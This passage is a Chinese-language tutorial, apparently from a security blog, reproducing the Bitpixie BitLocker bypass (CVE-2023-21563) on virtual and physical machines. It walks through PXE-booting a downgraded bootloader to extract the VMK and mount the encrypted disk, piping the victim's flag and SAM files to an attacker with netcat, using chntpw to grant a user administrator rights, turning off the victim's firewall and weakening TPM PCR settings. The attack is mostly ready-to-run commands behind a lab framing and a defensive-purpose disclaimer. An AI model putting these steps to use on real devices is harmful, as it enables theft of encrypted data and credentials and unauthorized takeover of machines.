主要问题在于该 bcdedit 命令只能以本地管理员身份运行。然而,由于 BCD 文件位于驱动器的未加密 EFI 分区上,因此有多种方法可以提取它。一种方法是物理移除硬盘驱动器,然后在另一台系统上提取 BCD 文件。不过,更简单、侵入性更小的方法是启动到高级启动选项。在大多数系统中,Shift + 重启 即可完成此操作。即使在登录屏幕上,此方法也有效。现在可以在 “疑难解答 -> 高级选项 -> 命令提示符” 下输入命令行。在此过程中,很可能会显示 BitLocker 恢复屏幕,可以使用 “跳过此驱动器” 按钮跳过此屏幕。

现在我们在终端先输入 ipconfig 看一下我们的网络情况,如果有显示 IP 为 10.13.37.xxx ,则可以直接跳过下面的步骤了,如果没有显示,则需要手动配置一下网络,首先查看可以正确的路径,查看是哪个盘以及选定自己虚拟机版本:

1
2
dir D:\NetKVM\w11\amd64
dir E:\NetKVM\w11\amd64

随后根据结果输入以下命令配置网络:

1
2
3
drvload D:\viostor\w11\amd64\viostor.inf
drvload D:\NetKVM\w11\amd64\netkvm.inf
ipconfig

Network Configuration

出现 IP 地址后,就可以进行 SMB 传输了,输入以下命令将修改后的 BCD 文件将直接移动到攻击者机器上,这样就可以直接开始执行实际的 bitpixie 攻击:

1
2
3
4
5
wpeutil initializenetwork
net use S: \\10.13.37.100\smb
cd %TEMP%
copy S:\create-bcd.bat .
.\create-bcd.bat

BCD_SMB

接下来,我们回到页面,通过 “使用设备 -> PXE 启动” 来启动到降级后的引导加载程序,加载修改后的 BCD,解封磁盘,内核启动失败,并执行 pxesoftreboot。如果没有找到 PXE 启动,可以退出查看虚拟机配置,“Boot Options” 中的 NIC 选项是否被勾选。由于我们控制了 PXE 服务器,因此我们可以进入我们之前准备好的 Debian 系统。

随后,我们输入 root 进入,并使用 su 命令,然后对分区执行我们的脚本即可:

1
run-exploit /dev/sda3

Run Exploit

如果一切顺利,会直接显示符合的 VMK 数据,同时我们在当前目录下看到一个 vmk.dat 的文件,这就是我们从内存中提取的 VMK 文件了。加密盘的内容挂载到 /mnt 目录下了,我们可以直接进入查看之前创建的 flag 文件了。
Flag File

到此为止,我们就成功地利用了 Bitpixie 漏洞,提取了 BitLocker 加密磁盘的 VMK 文件,并成功访问了加密磁盘中的内容了。

当然,也会出现一些状况,例如没有找到 VMK 文件,这一种情况建议重新尝试一次,因为 VMK 可能没有被正确地保留在内存中,或者没有正确地扫描到,也有可能是因为 BCD 的版本对不上导致的。还有一种情况是找到了 VMK 文件,但是无法挂载加密盘,这可能是因为 VMK 文件不完整或者损坏了,一定要找到有效标识 03 20 01 00,可以尝试重新提取一次 VMK 文件,或者检查一下使用的工具是否支持当前系统的 BitLocker 版本(dislcker 版本固定了一个稳定老版本,可以重新下一个新的版本)。

到此为止,我们访问需要的文件了,但是我们还有没将电脑原来的文件导出,这里我们可以将所需要的数据直接通过网络传输到攻击机上,这里我选择直接通过网络传输到攻击机上,我的建议是传输有用的文件,就那些系统文件就没有必要了,这里我以桌面的 flag 文件和系统的 SAM 文件为例。

对于传输小文件,在攻击机上开启连接端口就行:

1
2
nc -lvp 4444 > flag.txt
nc -lvp 4445 -q 1 > SAM

在受害机上输入以下命令将文件传输到攻击机上:

1
2
dd if=/mnt/Users/Dorange/Desktop/flag.txt | nc <IP> 4444
dd if=/mnt/Windows/System32/config/SAM | nc <IP> 4445

如果是传输文件夹的话就要先打包一下了,然后再传输了:

1
2
3
tar -czvf important_files.tar.gz /mnt/Users/Dorange/Desktop/important_files
nc -lvp 4446 > important_files.tar.gz
dd if=important_files.tar.gz | nc <IP> 4446

虽然我们已经拿到了加密盘的访问权限了,但我们还没有完全控制受害者电脑。这个时候,我们可以使用 chntpw 这个工具来修改系统中的用户账户密码,从而获取管理员权限。当然我更推荐的是制造一个低权限用户,然后提权到管理员,这样更加稳定一些。

这里我将一个低权限用户 Dorange 提权至管理员,首先我们需要使用 chntpw 来修改用户账户的权限,以下是示例命令:

1
chntpw -u Dorange /mnt/Windows/System32/config/SAM

当然也可以先用命令进入,选择查看有什么用户:

1
chntpw - /mnt/Windows/System32/config/SAM

chntpw

随后直接根据指引修改权限就可以了,可以选择直接修改权限,也可以将用户加入管理员组,反正差不了多少。这里推荐直接加入管理员组,这样更稳定一些,修改完成后可以使用命令 chntpw -i SAM 查看权限。
chntpw_modify

注意,必须卸载 BitLocker 分区,以确保所有更改都写入磁盘,然后才能重启系统。最后直接进入查询我们的改造是否成功了,在终端输入 net localgroup Administrators 来查看管理员组的成员,看看我们之前添加的用户 Dorange 是否在其中了。
Administrator Group

现在我们成功在虚拟机上实现了基于 CVE-2023-21563 漏洞的 BitLocker 破解,提取了 VMK 文件,并成功访问了加密磁盘中的内容并导出重要文件,同时还成功地将一个低权限用户提升为管理员权限了。

物理机实现

物理机的配置就没有虚拟机这么友好了,基本上虚拟机按照我们前面的步骤是可以直接使用的,对硬件设施没有太多的要求,物理机的话需要一步步检查硬件配置。注意大部分电脑默认的是家庭版,但是好像只有专业版才可以使用 Bitlocker 功能,所以物理机可能还要进行一次升级。

在我们团队进行实验时,发现 Windows 的新版本 25H2 几乎无法实现。首先在高级选项中进入命令行时,直接无法跳过输入 Bitlocker 恢复密钥。哪怕真的进去了,我们进行 PXE 软启动时,也必须要输入 Bitlocker 恢复密钥才可以使用引导。

而对于物理机的硬件初始要求也比较高,在一些轻薄笔记本和老款游戏本的硬件不支持 PXE 启动。这里给出的是一款小米的轻薄笔记本,其硬件不支持网络启动(正常支持这里会有 Network Boot 这个选项):
xiaomi

并且对于国内常见品牌华硕笔记本电脑,我们发现哪怕在 Windows 版本比较低的情况下,依然会在 PXE 启动失败后卡死在我们内核引导的过程中(怀疑是厂商硬件进行一定的限制)。

首先需要检查受害机是否支持 UEFI 启动,可以通过在 Windows 中输入 msinfo32 来查看系统信息,如果在系统摘要中看到 “BIOS 模式” 是 “UEFI”,则说明支持 UEFI 启动了。

最重要的是我们要检查我们的物理机是否已经将修复补丁打上了,在管理员终端里面输入 Get-HotFix 来查看系统补丁情况,如果已经打上了 KB5025885 或者更进一步的补丁了,那么就无法利用这个漏洞了。同时我们要查看我们的证书是否为旧版(听说微软在 2026 年发了新证书,不知道是不是真的)。

1
2
Get-HotFix -Id KB5025885
certutil -store root | findstr "Microsoft Windows Production PCA 2011"

Patch Check

关于 TPM 的配置,在 Windows 中搜索设备管理器,进入 “安全设备” 中查看是否有 TPM 设备并且版本是否为 2.0,如果没有的话需要进入 BIOS 中启用 TPM 功能。随后在管理员终端中输入 manage-bde -protectors -get C: 来查看 BitLocker 的加密状态,如果发现 TPM 的 PCR 不是 7 和 11 的话,我们需要进行手动的调整(似乎当前流行的为默认 0, 2, 4, 11)。

首先,“Win + R” 输入 gpedit.msc 打开本地组策略编辑器,按照 “计算机配置 -> 管理模板 -> Windows 组件 -> BitLocker 驱动器加密 -> 操作系统驱动器” 的路径进入,找到 “为本地 UEFI 固件配置配置 TPM 平台验证配置文件” 选项,进入将其设置为 “已启用”,并且在选项中选择 “PCR 7 和 11”,确认后退出。
TPM Configuration

随后,回到管理员终端中,先删除原来的 TPM 保护器,然后重新添加 TPM 保护器,这样就会按照我们之前设置的 PCR 7 和 11 来进行配置了,注意前面我们知道我们的启动引导文件都是旧版来诱导的,所以 PCR 一定不能包含 4 ,否则无法完成攻击:

1
2
3
4
manage-bde -protectors -get C:
manage-bde -protectors -delete C: -type tpm
manage-bde -protectors -add C: -tpm
manage-bde -protectors -get C:

TPM Protector

物理机可能没有默认开启 IPv4 的 pxe 启动,所以我们需要进入 BIOS 中开启它,可以在网上查询什么快捷键进入 BIOS(不同电脑不一样这里不做说明),实在不行使用 “Shift + 重启” 后导航 “疑难解答 -> 高级选项 -> UEFI 固件设置” 也可以重启进入。我的物理机在 BIOS 中的 Advanced 标签页中,有 Advance\Network Stack Configuration 开启 Network Stack 和 Ipv4 PXE Support 就可以了。
BIOS Configuration

现在进行物理网络连接的配置,这需要网线连接攻击机和受害机,攻击机上需要开启一个 DHCP 服务器来为受害机分配 IP 地址(可以手动分配),在攻击机上面提前开启 DHCP 服务器:

1
2
./start-server.sh smb <interface>
./start-server.sh pxe <interface>

后面可以尝试 ping 一下受害机的 IP 地址,看看网络是否通了,如果不通的话需要检查一下网络配置:

1
brctl show virbr0

查看 interfaces 项是否为空,如果是的话,我们要手动添加一下物理网口,先查看再添加(需要自行辨别一下):

1
2
3
ip link show
sudo brctl addif virbr0 <interface>
brctl show virbr0

Network Configuration

当我们再次查看 interfaces 项时,应该会看到我们添加的物理网口了,这时候就可以尝试 ping 一下受害机的 IP 地址了,受害机的 IP 地址可以在受害机上输入 ipconfig 来查看,如果 ping 不通的话需要检查一下网络配置,确保攻击机和受害机在同一个网络段上了。

如果出现受害机可以 ping 攻击机了,但是攻击机 ping 受害机不通的话,这时候需要检查一下受害机的防火墙设置,确保允许来自攻击机的流量了,可以临时关闭一下防火墙:

1
netsh advfirewall set allprofiles state off

当然,我们攻击机为了确保 10.13.37.0/24 这个网段的流量不被拦截,执行这两条命令(实际上不配置一般也可以正常连接):

1
2
sudo iptables -I LIBVIRT_FWI 1 -s 10.13.37.0/24 -j ACCEPT
sudo iptables -I LIBVIRT_FWO 1 -d 10.13.37.0/24 -j ACCEPT

但是实际上我们在高级启动进入命令行时,联网这一步往往不是自动完成的,就和前面配置虚拟机这样,需要我们手动配置一下驱动,当然不像虚拟机这样简单,首先我们要在一个 U 盘中准备好驱动文件,然后再在受害机上面加载驱动,配置网络,这一步简单而且与前面几乎一模一样,就不多说明。后面的步骤和前面虚拟机的步骤是一样的了,直接按照前面的步骤来就可以了,拿到我们需要的 BCD 文件。

当然,实际上我们也可以直接从和物理机相同系统的虚拟机上面直接提取 BCD 文件,这样就不需要在物理机上面进行网络配置了,直接在虚拟机上面提取了之后再通过 SMB 传输到攻击机上面就可以了,这样可以简单方便很多,但是这种方式也有一定的风险会导致 BCD 的版本不对导致后续找不到 VMK 文件。

后面进入 PXE 启动,后续操作没有区别了。但是由于硬件不支持等等问题,可能会出现引导失败导致崩溃或者成功进入却无法获得 VMK 文件。所以在物理机上面进行复现的时候,很有可能由于各种软硬件环问题导致复现成功率非常低,或许这也是这个漏洞看似严重但却没有被广泛利用和修复的原因之一了。

跪求 star

如果对您有帮助,请给个 Github 项目 star 吧!!!
star

免责声明

免责声明:本人所有文章均为技术分享,均用于防御为目的的记录,所有操作均在实验环境下进行,请勿用于其他用途,否则后果自负。

任何个人和组织使用网络应当遵守宪法法律,遵守公共秩序,尊重社会公德,不得危害网络安全,不得利用网络从事危害国家安全、荣誉和利益,煽动颠覆国家政权、推翻社会主义制度,煽动分裂国家、破坏国家统一,宣扬恐怖主义、极端主义,宣扬民族仇恨、民族歧视,传播暴力、淫秽色情信息,编造、传播虚假信息扰乱经济秩序和社会秩序,以及侵害他人名誉、隐私、知识产权和其他合法权益等活动。

第十二条:  国家保护公民、法人和其他组织依法使用网络的权利,促进网络接入普及,提升网络服务水平,为社会提供安全、便利的网络服务,保障网络信息依法有序自由流动。

第十三条:  国家支持研究开发有利于未成年人健康成长的网络产品和服务,依法惩治利用网络从事危害未成年人身心健康的活动,为未成年人提供安全、健康的网络环境。

第二十七条:任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动;不得提供专门用于从事侵入网络、干扰网络正常功能及防护措施、窃取网络数据等危害网络安全活动的程序和工具;明知他人从事危害网络安全的活动,不得为其提供技术支持、广告推广、支付结算等帮助。

主要参考